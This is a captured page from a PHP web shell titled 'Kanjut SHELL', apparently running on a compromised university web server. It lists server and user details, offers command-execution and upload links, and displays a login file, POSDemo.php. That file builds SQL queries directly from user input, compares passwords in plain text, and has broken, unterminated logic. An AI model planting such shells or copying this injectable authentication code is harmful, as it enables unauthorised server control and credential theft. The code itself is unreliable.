Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.225.195.4
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/wcdavis/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/wcdavis/public_html/POSDemo.php
<! The Pos Demo page (php) --!>

Welcome to uPOS!<BR>
Please Login below:

<HR>
<Form action="" method=post>
Input your username to login:
<INPUT type=text name=uname>
<?php
	$begin = True;
	while($begin)
	{
	$uname = $_POST['uname'];
	// SQL commands go here

	$sql_query1 = "Select from $tablename where name = $uname;";
	
	if($sql_query1)
	{	
		echo "Input your password to login:";
		echo "<INPUT type=password name=pswd>";
		$pswd = $_POST['pswd'];
		
		$sql_query2 = "Select from $tablename where name=$uname and pass=$pswd;";
		if($sql_query2)
		{
		// link to the menu page using Meta Http tag
		$begin = False;
		}
		else
		{ echo "Wrong Password. Try again."; }
	}
	else
	{ echo "Invalid username. Please Try Again.";}
?>
<P>
</FORM>
</CENTER>
</HTML>

Stv3n404 - 2023